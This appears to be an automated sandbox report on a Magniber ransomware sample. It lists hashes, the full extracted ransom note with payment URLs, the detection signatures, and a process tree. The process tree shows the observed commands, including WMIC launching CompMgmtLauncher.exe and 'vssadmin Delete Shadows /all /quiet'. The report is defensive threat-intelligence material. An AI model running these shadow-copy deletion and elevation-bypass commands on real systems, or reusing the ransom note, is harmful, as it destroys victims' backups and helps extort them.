magniber | f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675

General

Target

3.exe
Size

21KB
MD5

4160c35d3c600712b528e8072de1bc58
SHA1

12c822103678fed7b928f0202eb7e51714ab3b56
SHA256

f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675
SHA512

f722f7a5560641b0cbeb73dfb9d495cf2920858acfdcd5806f619256f2810569486be00eee4547b07298ca20c18d478f3f567809a7b2ff9cf81519e057a3a962

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Public\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://7a3876288814c040d0lqcsthxnw.ndkeblzjnpqgpo5o.onion/lqcsthxnw Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://7a3876288814c040d0lqcsthxnw.wonride.site/lqcsthxnw http://7a3876288814c040d0lqcsthxnw.lognear.xyz/lqcsthxnw http://7a3876288814c040d0lqcsthxnw.lieedge.casa/lqcsthxnw http://7a3876288814c040d0lqcsthxnw.bejoin.space/lqcsthxnw Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://7a3876288814c040d0lqcsthxnw.ndkeblzjnpqgpo5o.onion/lqcsthxnw

http://7a3876288814c040d0lqcsthxnw.wonride.site/lqcsthxnw

http://7a3876288814c040d0lqcsthxnw.lognear.xyz/lqcsthxnw

http://7a3876288814c040d0lqcsthxnw.lieedge.casa/lqcsthxnw

http://7a3876288814c040d0lqcsthxnw.bejoin.space/lqcsthxnw

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 9 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2092	1608	cmd.exe	49
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2084	1608	cmd.exe	49
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2076	1608	cmd.exe	49
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2068	1608	cmd.exe	49
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2060	1608	cmd.exe	49
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2692	1608	vssadmin.exe	49
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2772	1608	vssadmin.exe	49
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2780	1608	vssadmin.exe	49
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2828	1608	vssadmin.exe	49

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 484 set thread context of 1120	484	3.exe	13
PID 484 set thread context of 1180	484	3.exe	12
PID 484 set thread context of 1228	484	3.exe	11

Interacts with shadow copies 2 TTPs 4 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
2692	vssadmin.exe
2772	vssadmin.exe
2780	vssadmin.exe
2828	vssadmin.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1952	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
484	3.exe
484	3.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
484	3.exe
484	3.exe
484	3.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1228
- C:\Users\Admin\AppData\Local\Temp\3.exe
  "C:\Users\Admin\AppData\Local\Temp\3.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:484
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    PID:364
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:524
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    PID:676
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:752
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:1244
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1640

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
PID:1180
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:1284
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:320

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
PID:1120
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1952
- C:\Windows\system32\cmd.exe
  cmd /c "start http://7a3876288814c040d0lqcsthxnw.wonride.site/lqcsthxnw^&1^&27711471^&80^&343^&12"
  2⤵
  PID:1740
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://7a3876288814c040d0lqcsthxnw.wonride.site/lqcsthxnw&1&27711471&80&343&12
    3⤵
    PID:1788
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1788 CREDAT:275457 /prefetch:2
      4⤵
      PID:2180
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:1776
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1212

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:2092
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2228
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2468

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:2084
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2264
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2540

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:2076
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2276
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2432

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:2068
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2204
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2400

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:2060
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2220
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2484

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2692

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2752

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2772

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2780

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2828

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

2

T1107

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

2

T1490

Replay Monitor

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Downloads

memory/484-62-0x0000000001D20000-0x0000000001D21000-memory.dmp

Filesize
4KB

Download
memory/484-60-0x0000000000020000-0x0000000000025000-memory.dmp

Filesize
20KB

Download
memory/484-61-0x00000000000E0000-0x00000000000E1000-memory.dmp

Filesize
4KB

Download
memory/1228-63-0x0000000003CD0000-0x0000000003CE0000-memory.dmp

Filesize
64KB

Download
memory/1952-65-0x000007FEFBD21000-0x000007FEFBD23000-memory.dmp

Filesize
8KB

Download

Analysis

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